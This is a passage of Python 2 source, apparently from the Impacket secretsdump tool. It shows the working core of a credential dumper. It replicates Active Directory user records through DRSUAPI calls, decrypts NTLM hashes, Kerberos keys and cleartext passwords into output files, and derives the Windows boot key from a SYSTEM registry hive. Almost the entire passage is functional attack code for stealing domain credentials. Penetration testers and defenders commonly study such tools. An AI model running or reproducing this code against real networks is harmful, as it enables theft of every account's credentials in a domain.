2281                status = STATUS_MORE_ENTRIES
2282                enumerationContext = 0
2283
2284                # Do we have to resume from a previously saved session?
2285                if self.__resumeSession.hasResumeData():
2286                    resumeSid = self.__resumeSession.getResumeData()
2287                    LOG.info('Resuming from SID %s, be patient' % resumeSid)
2288                else:
2289                    resumeSid = None
2290                    # We do not create a resume file when asking for a single user
2291                    if self.__justUser is None:
2292                        self.__resumeSession.beginTransaction()
2293
2294                if self.__justUser is not None:
2295                    # Depending on the input received, we need to change the formatOffered before calling
2296                    # DRSCrackNames.
2297                    # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE
2298                    # That's because we don't specify the domain for the user (and there might be duplicates)
2299                    # Always remember that if you specify a domain, you should specify the NetBIOS domain name,
2300                    # not the FQDN. Just for this time. It's confusing I know, but that's how this API works.
2301                    if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0:
2302                        self.__justUser = self.__justUser.replace('/','\\')
2303                        formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
2304                    else:
2305                        formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN
2306
2307                    crackedName = self.__remoteOps.DRSCrackNames(formatOffered,
2308                                                                 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
2309                                                                 name=self.__justUser)
2310
2311                    if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
2312                        if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
2313                            raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
2314                                0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
2315
2316                        userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
2317                        #userRecord.dump()
2318                        replyVersion = 'V%d' % userRecord['pdwOutVersion']
2319                        if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
2320                            raise Exception('DRSGetNCChanges didn\'t return any object!')
2321                    else:
2322                        LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
2323                        crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))
2324                    try:
2325                        self.__decryptHash(userRecord,
2326                                           userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
2327                                           hashesOutputFile)
2328                        if self.__justNTLM is False:
2329                            self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
2330                                'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
2331
2332                    except Exception, e:
2333                        #import traceback
2334                        #traceback.print_exc()
2335                        LOG.error("Error while processing user!")
2336                        LOG.error(str(e))
2337                else:
2338                    while status == STATUS_MORE_ENTRIES:
2339                        resp = self.__remoteOps.getDomainUsers(enumerationContext)
2340
2341                        for user in resp['Buffer']['Buffer']:
2342                            userName = user['Name']
2343
2344                            userSid = self.__remoteOps.ridToSid(user['RelativeId'])
2345                            if resumeSid is not None:
2346                                # Means we're looking for a SID before start processing back again
2347                                if resumeSid == userSid.formatCanonical():
2348                                    # Match!, next round we will back processing
2349                                    LOG.debug('resumeSid %s reached! processing users from now on' % userSid.formatCanonical())
2350                                    resumeSid = None
2351                                else:
2352                                    LOG.debug('Skipping SID %s since it was processed already' % userSid.formatCanonical())
2353                                continue
2354
2355                            # Let's crack the user sid into DS_FQDN_1779_NAME
2356                            # In theory I shouldn't need to crack the sid. Instead
2357                            # I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
2358                            # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
2359                            crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
2360                                                                         drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
2361                                                                         name=userSid.formatCanonical())
2362
2363                            if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
2364                                if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
2365                                    LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[
2366                                        0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
2367                                    break
2368                                userRecord = self.__remoteOps.DRSGetNCChanges(
2369                                    crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
2370                                # userRecord.dump()
2371                                replyVersion = 'V%d' % userRecord['pdwOutVersion']
2372                                if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
2373                                    raise Exception('DRSGetNCChanges didn\'t return any object!')
2374                            else:
2375                                LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
2376                                crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
2377                            try:
2378                                self.__decryptHash(userRecord,
2379                                                   userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
2380                                                   hashesOutputFile)
2381                                if self.__justNTLM is False:
2382                                    self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
2383                                        'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
2384
2385                            except Exception, e:
2386                                if LOG.level == logging.DEBUG:
2387                                    import traceback
2388                                    traceback.print_exc()
2389                                LOG.error("Error while processing user!")
2390                                LOG.error(str(e))
2391
2392                            # Saving the session state
2393                            self.__resumeSession.writeResumeData(userSid.formatCanonical())
2394
2395                        enumerationContext = resp['EnumerationContext']
2396                        status = resp['ErrorCode']
2397
2398                # Everything went well and we covered all the users
2399                # Let's remove the resume file is we had created it
2400                if self.__justUser is None:
2401                    self.__resumeSession.clearResumeData()
2402
2403            LOG.debug("Finished processing and printing user's hashes, now printing supplemental information")
2404            # Now we'll print the Kerberos keys. So we don't mix things up in the output.
2405            if len(self.__kerberosKeys) > 0:
2406                if self.__useVSSMethod is True:
2407                    LOG.info('Kerberos keys from %s ' % self.__NTDS)
2408                else:
2409                    LOG.info('Kerberos keys grabbed')
2410
2411                for itemKey in self.__kerberosKeys.keys():
2412                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey)
2413
2414            # And finally the cleartext pwds
2415            if len(self.__clearTextPwds) > 0:
2416                if self.__useVSSMethod is True:
2417                    LOG.info('ClearText password from %s ' % self.__NTDS)
2418                else:
2419                    LOG.info('ClearText passwords grabbed')
2420
2421                for itemKey in self.__clearTextPwds.keys():
2422                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey)
2423        finally:
2424            # Resources cleanup
2425            if not hashesOutputFile is None:
2426                hashesOutputFile.close()
2427
2428            if not keysOutputFile is None:
2429                keysOutputFile.close()
2430
2431            if not clearTextOutputFile is None:
2432                clearTextOutputFile.close()
2433
2434            self.__resumeSession.endTransaction()
2435
2436    @classmethod
2437    def __writeOutput(cls, fd, data):
2438        try:
2439            fd.write(data)
2440        except Exception, e:
2441            LOG.error("Error writing entry, skipping (%s)" % str(e))
2442            pass
2443
2444    def finish(self):
2445        if self.__NTDS is not None:
2446            self.__ESEDB.close()
2447
2448class LocalOperations:
2449    def __init__(self, systemHive):
2450        self.__systemHive = systemHive
2451
2452    def getBootKey(self):
2453        # Local Version whenever we are given the files directly
2454        bootKey = ''
2455        tmpKey = ''
2456        winreg = winregistry.Registry(self.__systemHive, False)
2457        # We gotta find out the Current Control Set
2458        currentControlSet = winreg.getValue('\\Select\\Current')[1]
2459        currentControlSet = "ControlSet%03d" % currentControlSet
2460        for key in ['JD', 'Skew1', 'GBG', 'Data']:
2461            LOG.debug('Retrieving class info for %s' % key)
2462            ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
2463            digit = ans[:16].decode('utf-16le')
2464            tmpKey = tmpKey + digit
2465
2466        transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
2467
2468        tmpKey = unhexlify(tmpKey)
2469
2470        for i in xrange(len(tmpKey)):
2471            bootKey += tmpKey[transforms[i]]
2472
2473        LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey))
2474
2475        return bootKey
2476
2477
2478    def checkNoLMHashPolicy(self):
2479        LOG.debug('Checking NoLMHash Policy')
2480        winreg = winregistry.Registry(self.__systemHive, False)
2481        # We gotta find out the Current Control Set
2482        currentControlSet = winreg.getValue('\\Select\\Current')[1]
2483        currentControlSet = "ControlSet%03d" % currentControlSet
2484
2485        # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
2486        noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
2487        if noLmHash is not None:
2488            noLmHash = noLmHash[1]
2489        else:
2490            noLmHash = 0
2491
2492        if noLmHash != 1:
2493            LOG.debug('LMHashes are being stored')
2494            return False
2495        LOG.debug('LMHashes are NOT being stored')
2496        return True
2497
2498def _print_helper(*args, **kwargs):
2499    print args[-1]
2500